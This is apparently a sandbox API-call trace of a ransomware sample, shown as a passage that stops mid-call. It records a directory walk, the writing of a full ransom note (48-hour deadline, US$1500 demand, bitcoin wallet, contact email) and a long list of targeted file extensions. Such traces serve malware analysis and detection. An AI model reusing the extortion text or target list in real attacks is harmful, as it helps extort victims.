(in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c8060, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x52c8060, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x52c8060, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.DataSet#", cAlternateFileName="SYSTEM~2.DAT")) returned 1 [0112.453] lstrcmpA (lpString1=".", lpString2="System.Data.DataSet#") returned -1 [0112.453] lstrcmpA (lpString1="..", lpString2="System.Data.DataSet#") returned -1 [0112.453] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.453] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Data.DataSet#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#" [0112.453] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#") returned 67 [0112.453] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c8060, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x52c8060, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x52c8060, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.453] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.453] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c8060, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x52c8060, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x52c8060, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.453] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.453] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.453] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c8060, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x52c8060, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x52c8060, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="56ccdabce54219b23bc4b6477d98b45c", cAlternateFileName="56CCDA~1")) returned 1 [0112.453] lstrcmpA (lpString1=".", lpString2="56ccdabce54219b23bc4b6477d98b45c") returned -1 [0112.453] lstrcmpA (lpString1="..", lpString2="56ccdabce54219b23bc4b6477d98b45c") returned -1 [0112.453] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\*.*") returned="*.*" [0112.453] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\", lpString2="56ccdabce54219b23bc4b6477d98b45c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c" [0112.454] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c") returned 100 [0112.454] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c8060, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x52c8060, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x52c8060, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.454] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.454] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c8060, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x52c8060, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x52c8060, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.455] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.455] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.455] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5255c3f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x5255c3f, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x527bda0, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.455] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.455] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.DataSetExtensions.ni.dll") returned -1 [0112.455] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.DataSetExtensions.ni.dll") returned -1 [0112.455] lstrcmpiA (lpString1="", lpString2="System.Data.DataSetExtensions.ni.dll") returned -1 [0112.455] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\*.*") returned="*.*" [0112.455] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\" [0112.455] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\") returned="" [0112.455] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\HOW TO DECRYPT FILES.txt" [0112.455] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.dataset#\\56ccdabce54219b23bc4b6477d98b45c\\how to decrypt files.txt")) returned 0xffffffff [0112.455] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.dataset#\\56ccdabce54219b23bc4b6477d98b45c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.460] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.460] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.461] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.462] CloseHandle (hObject=0x90) returned 1 [0112.462] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\", lpString2="System.Data.DataSetExtensions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll" [0112.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ems") returned 0 [0112.462] lstrlenA (lpString="*.ems") returned 5 [0112.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.db") returned 0 [0112.462] lstrlenA (lpString="*.db") returned 4 [0112.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dbf") returned 0 [0112.462] lstrlenA (lpString="*.dbf") returned 5 [0112.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.myox") returned 0 [0112.462] lstrlenA (lpString="*.myox") returned 6 [0112.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.myo") returned 0 [0112.462] lstrlenA (lpString="*.myo") returned 5 [0112.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbw") returned 0 [0112.462] lstrlenA (lpString="*.qbw") returned 5 [0112.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbb") returned 0 [0112.462] lstrlenA (lpString="*.qbb") returned 5 [0112.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbm") returned 0 [0112.462] lstrlenA (lpString="*.qbm") returned 5 [0112.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbo") returned 0 [0112.462] lstrlenA (lpString="*.qbo") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbx") returned 0 [0112.463] lstrlenA (lpString="*.qbx") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qba") returned 0 [0112.463] lstrlenA (lpString="*.qba") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qby") returned 0 [0112.463] lstrlenA (lpString="*.qby") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbj") returned 0 [0112.463] lstrlenA (lpString="*.qbj") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ofx") returned 0 [0112.463] lstrlenA (lpString="*.ofx") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qif") returned 0 [0112.463] lstrlenA (lpString="*.qif") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mye") returned 0 [0112.463] lstrlenA (lpString="*.mye") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mbox") returned 0 [0112.463] lstrlenA (lpString="*.mbox") returned 6 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.eml") returned 0 [0112.463] lstrlenA (lpString="*.eml") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pst") returned 0 [0112.463] lstrlenA (lpString="*.pst") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ost") returned 0 [0112.463] lstrlenA (lpString="*.ost") returned 5 [0112.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.idx") returned 0 [0112.463] lstrlenA (lpString="*.idx") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dbx") returned 0 [0112.464] lstrlenA (lpString="*.dbx") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.sql") returned 0 [0112.464] lstrlenA (lpString="*.sql") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mdb") returned 0 [0112.464] lstrlenA (lpString="*.mdb") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.fdb") returned 0 [0112.464] lstrlenA (lpString="*.fdb") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.wab") returned 0 [0112.464] lstrlenA (lpString="*.wab") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dat") returned 0 [0112.464] lstrlenA (lpString="*.dat") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.txt") returned 0 [0112.464] lstrlenA (lpString="*.txt") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.jpeg") returned 0 [0112.464] lstrlenA (lpString="*.jpeg") returned 6 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.jpg") returned 0 [0112.464] lstrlenA (lpString="*.jpg") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.png") returned 0 [0112.464] lstrlenA (lpString="*.png") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.php") returned 0 [0112.464] lstrlenA (lpString="*.php") returned 5 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.cs") returned 0 [0112.464] lstrlenA (lpString="*.cs") returned 4 [0112.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.cpp") returned 0 [0112.465] lstrlenA (lpString="*.cpp") returned 5 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.rar") returned 0 [0112.465] lstrlenA (lpString="*.rar") returned 5 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.zip") returned 0 [0112.465] lstrlenA (lpString="*.zip") returned 5 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.html") returned 0 [0112.465] lstrlenA (lpString="*.html") returned 6 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.htm") returned 0 [0112.465] lstrlenA (lpString="*.htm") returned 5 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.xlsx") returned 0 [0112.465] lstrlenA (lpString="*.xlsx") returned 6 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.xls") returned 0 [0112.465] lstrlenA (lpString="*.xls") returned 5 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mp4") returned 0 [0112.465] lstrlenA (lpString="*.mp4") returned 5 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ppt") returned 0 [0112.465] lstrlenA (lpString="*.ppt") returned 5 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pptx") returned 0 [0112.465] lstrlenA (lpString="*.pptx") returned 6 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.doc") returned 0 [0112.465] lstrlenA (lpString="*.doc") returned 5 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dot") returned 0 [0112.465] lstrlenA (lpString="*.dot") returned 5 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.docx") returned 0 [0112.465] lstrlenA (lpString="*.docx") returned 6 [0112.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.7z") returned 0 [0112.466] lstrlenA (lpString="*.7z") returned 4 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.tar") returned 0 [0112.466] lstrlenA (lpString="*.tar") returned 5 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.bz2") returned 0 [0112.466] lstrlenA (lpString="*.bz2") returned 5 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.gz") returned 0 [0112.466] lstrlenA (lpString="*.gz") returned 4 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mkv") returned 0 [0112.466] lstrlenA (lpString="*.mkv") returned 5 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.eml") returned 0 [0112.466] lstrlenA (lpString="*.eml") returned 5 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.msg") returned 0 [0112.466] lstrlenA (lpString="*.msg") returned 5 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.edb") returned 0 [0112.466] lstrlenA (lpString="*.edb") returned 5 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.accdb") returned 0 [0112.466] lstrlenA (lpString="*.accdb") returned 7 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.odb") returned 0 [0112.466] lstrlenA (lpString="*.odb") returned 5 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.java") returned 0 [0112.466] lstrlenA (lpString="*.java") returned 6 [0112.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.asm") returned 0 [0112.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pfx") returned 0 [0112.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pem") returned 0 [0112.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.p12") returned 0 [0112.467] PathMatchSpecA 